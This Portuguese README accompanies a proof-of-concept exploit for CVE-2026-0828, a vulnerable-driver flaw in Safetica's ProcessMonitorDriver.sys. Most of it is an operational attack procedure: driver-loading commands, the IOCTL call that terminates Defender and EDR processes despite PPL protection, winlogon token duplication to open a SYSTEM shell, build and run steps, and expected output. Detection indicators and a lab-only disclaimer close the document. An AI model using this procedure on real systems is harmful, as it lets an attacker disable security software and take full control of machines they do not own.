
Exploit de prova de conceito para CVE-2026-0828, uma vulnerabilidade BYOVD no Safetica ProcessMonitorDriver.sys que permite a terminação não privilegiada de processos protegidos por PPL e escalada local de privilégios para SYSTEM via abuso de IOCTL e duplicação de tokens.
O driver de kernel DLP da Safetica (ProcessMonitorDriver.sys) expõe um IOCTL não autenticado que permite a qualquer chamador em modo de usuário encerrar processos arbitrários via ZwTerminateProcess em contexto de kernel, ignorando a proteção PPL (Protected Process Light).
CVSS: 8.8 (Alto) · Tipo: BYOVD, LPE · Plataforma: Windows x64
O manipulador IRP_MJ_DEVICE_CONTROL para o IOCTL 0xB822200C chama ZwOpenProcess com PROCESS_ALL_ACCESS (0x1FFFFF) e subsequentemente ZwTerminateProcess usando um PID fornecido diretamente do buffer de entrada — sem qualquer validação de privilégio ou chamador.
// Vulnerable handler (IDA pseudocode)
ClientId.UniqueProcess = **(HANDLE **)(irp->AssociatedIrp.SystemBuffer);
ZwOpenProcess(&ProcessHandle, 0x1FFFFFu, &ObjectAttributes, &ClientId);
ZwTerminateProcess(ProcessHandle, 0); // no SeSinglePrivilegeCheck, no ExGetPreviousMode check
Como a chamada se origina em contexto de kernel, processos protegidos por PPL (Windows Defender, agentes EDR) podem ser encerrados.
Versões afetadas: Safetica < 11.26.19 / < 10.5.150
Corrigido em: Safetica 11.26.19, 11.29.8, 10.5.150 — verificação de privilégio adicionada ao manipulador IOCTL
Referências: Aviso KOSEC · CERT VU#818729
Privilégios de Administrador
│
├─► Carregar ProcessMonitorDriver.sys
│ sc create STProcessMonitor type=kernel binPath=...
│
├─► FASE 1: Matar EDR via IOCTL 0xB822200C
│ DeviceIoControl(\\.\STProcessMonitorDriver, 0xB822200C, &pid, 8, ...)
│ → ZwTerminateProcess(Defender/EDR, 0) [kernel ctx, PPL bypassed]
│
└─► FASE 2: Duplicação de token → shell SYSTEM
AdjustTokenPrivileges(SeDebugPrivilege)
OpenProcess(winlogon.exe)
DuplicateTokenEx(TokenPrimary)
CreateProcessWithTokenW(cmd.exe)
→ NT AUTHORITY\SYSTEM
| Arquivo | Descrição |
|---|---|
exploit.c | PoC completo — mata EDR, abre cmd.exe como NT AUTHORITY\SYSTEM |
Requer Visual Studio (Prompt de Comando de Ferramentas Nativas x64):
cl.exe /W3 /O1 /nologo exploit.c /Fe:exploit.exe
Passo 1 — Carregar o driver (CMD como Admin):
sc create STProcessMonitor type= kernel binPath= "C:\path\to\ProcessMonitorDriver.sys"
sc start STProcessMonitor
Passo 2 — Executar o PoC:
exploit.exe
Saída esperada:
[Phase 1] Killing EDR via CVE-2026-0828...
MsMpEng.exe PID 3412 -> KILLED
NisSrv.exe PID 4180 -> KILLED
SeDebugPrivilege enabled
winlogon.exe -> pid 560
[+] Got SYSTEM token handle.
[+] Token duplicated.
shell spawned
Uma nova janela cmd.exe é aberta como NT AUTHORITY\SYSTEM.
Event ID 7045 — nova instalação de serviço de kernel:
Service Name: STProcessMonitor
Service File Name: ...\ProcessMonitorDriver.sys
Service Type: kernel mode driver
Lista de bloqueio WDAC (SHA256):
70bcec00c215fe52779700f74e9bd669ff836f594df92381cbfb7ee0568e7a8b
ETW: Monitorar chamadas DeviceIoControl para \\.\STProcessMonitorDriver.
Apenas para pesquisa de segurança autorizada e uso em laboratório. Não use contra sistemas que você não possui ou para os quais não tenha permissão por escrito para testar.